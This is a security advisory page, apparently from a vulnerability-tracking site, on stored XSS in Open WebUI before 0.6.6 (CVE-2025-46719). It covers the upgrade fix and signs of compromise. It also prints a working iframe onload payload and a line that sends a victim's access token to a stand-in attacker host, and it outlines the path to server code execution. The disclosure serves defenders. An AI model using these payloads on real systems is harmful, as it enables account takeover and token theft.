AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2025-46719: Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

highCVSS 4.0 7.4GHSA-9f4f-jv96-8766

Open WebUI before 0.6.6 has a stored cross-site scripting flaw in chat rendering. A chat message containing an iframe tag that points at the server's file API runs attacker JavaScript every time the chat is opened. That steals the viewer's access token, takes over the account, and gives code execution on the server if the victim is an admin. Upgrade to 0.6.6.

Published Jul 7, 2026 · Analysis Nov 23, 2026

What an attacker can do

MarkdownTokens.svelte checked whether a message's HTML contained an iframe whose src starts with the server's /api/v1/files/ address. If it did, it rendered the whole text with Svelte's {@html}, which inserts raw HTML. So an attacker adds an onload attribute to that iframe and the script runs in the viewer's browser. The user's access token sits in localStorage, so a one-line fetch sends it to an attacker's server.

The attacker only needs an account that can share a chat. They share the transcript with other users on the server, and if Community Sharing is enabled in the admin panel, they can publish it to the openwebui.com community site, where the advisory says the same payload also runs, which makes it wormable. The victim just opens the chat.

With the token, the attacker controls the account. If the victim is an admin, the attacker can create a function in the admin area, which by design runs Python on the backend server, so the flaw becomes remote code execution on the host.

Who is affected

pip package open-webui before 0.6.6. All deployments in that range are affected, with chat sharing used to deliver the payload. Check the installed version:

pip show open-webui

For Docker, check the image tag. Instances that allow Community Sharing have extra exposure.

open-webui

Ecosystem
PyPI
Affected
< 0.6.6
Fixed in
0.6.6
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.6.6:

pip install --upgrade open-webui==0.6.6

The fix commit removes the inline HTML token handling in MarkdownTokens.svelte and routes HTML tokens through a new HtmlToken component. The advisory lists no workaround. As interim steps, turn off Enable Community Sharing in the admin panel, and avoid opening shared chats from untrusted users. After upgrading, consider invalidating sessions of admin accounts that opened untrusted shared chats, and review the functions list for code you did not add.

How to tell if you were hit

Search stored chat messages for an iframe tag whose source points at the server's file API and that carries an onload or other event attribute. Check the admin Functions list for code you did not create, and server logs for new function creation by an admin session at unusual times. Look for outbound requests from browsers to unknown hosts carrying a token parameter. The sources do not report exploitation in the wild.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.

If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.

This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https://openwebui.com

Details

Stored XSS

The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:

		{:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)}
			{@html `${token.text}`}

That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUI_BASE_URL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.

image image

In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control: fetch("https://attacker.com/?token=" + localStorage.getItem("token"))

This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.

Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"

image

If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed

image

This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.

RCE

If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.

The following HTTP request can be sent to the backend server to execute arbitrary python code.

image image

PoC

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

Impact

Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.

Credited to choket.

Questions

Can CVE-2025-46719 lead to remote code execution?

Yes, if the victim is an admin. A stolen admin token lets the attacker create a function, which by design runs Python on the backend server.

What does the victim have to do?

Open a chat transcript that contains the payload, such as a shared chat. The script runs on every open. If Community Sharing is on, the advisory says the openwebui.com chat page also runs it.

Which version fixes it?

Open WebUI 0.6.6. The affected range is everything before it. The same release also fixes a related stored XSS via uploaded HTML files, CVE-2025-46571.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries